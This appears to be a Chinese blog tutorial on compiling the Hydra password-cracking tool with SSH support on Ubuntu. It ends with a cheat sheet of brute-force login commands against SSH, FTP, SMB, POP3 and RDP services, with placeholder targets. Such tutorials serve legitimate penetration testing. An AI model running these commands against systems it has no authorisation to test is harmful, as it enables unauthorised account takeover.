Ubuntu上安装Hydra及其ssh扩展模块


背景:

由于Hydra团队考虑到安全方面的影响,所以在新的7.5版本中默认是没有将SSH模块编译进去的,而我又有这方面的需要,所以只好自己动手找方法了。(我第一次装的时候也不知道,等用的时候才会出现各种错误提示:[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

首先安装一些依赖性软件or库:

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3* libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp* libncurses5*

sudo apt-get install cmake    #cmake也需要2.6.0版本以上

然后手动下载libssh的新版本进行安装,因为hydra-7.5需要新版本的支持,否则在进行ssh破解的时候会报错。所以,先下载libssh-0.4.8.tar.gz或更新版本并安装

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz

tar zxf libssh-0.4.8.tar.gz

cd libssh-0.4.8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

make

sudo make install #make install总是需要root权限,务必记住!

最后是从源码安装Hydra的步骤:

wget http://www.thc.org/releases/hydra-7.5.tar.gz

tar zxf hydra-7.5.tar.gz

cd hydra-7.5

./configure

make

sudo make install

破解ssh:
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV ip ssh
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV -e ns ip ssh
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -o save.log -vV ip ssh

破解ftp:
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV ip ftp
hydra -l 用户名 -P 密码字典 -e ns -vV ip ftp

破解smb:
hydra -l administrator -P pass.txt ip smb

破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp:
hydra -l administrator -P pass.txt -V ip rdp
备注:

如果Hydra被Ctrl-C中断,或是被kill掉,可以使用Hydra的-R选项(默认每隔5分钟会记录一次状态在文件hydra.restore中)

, ,

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注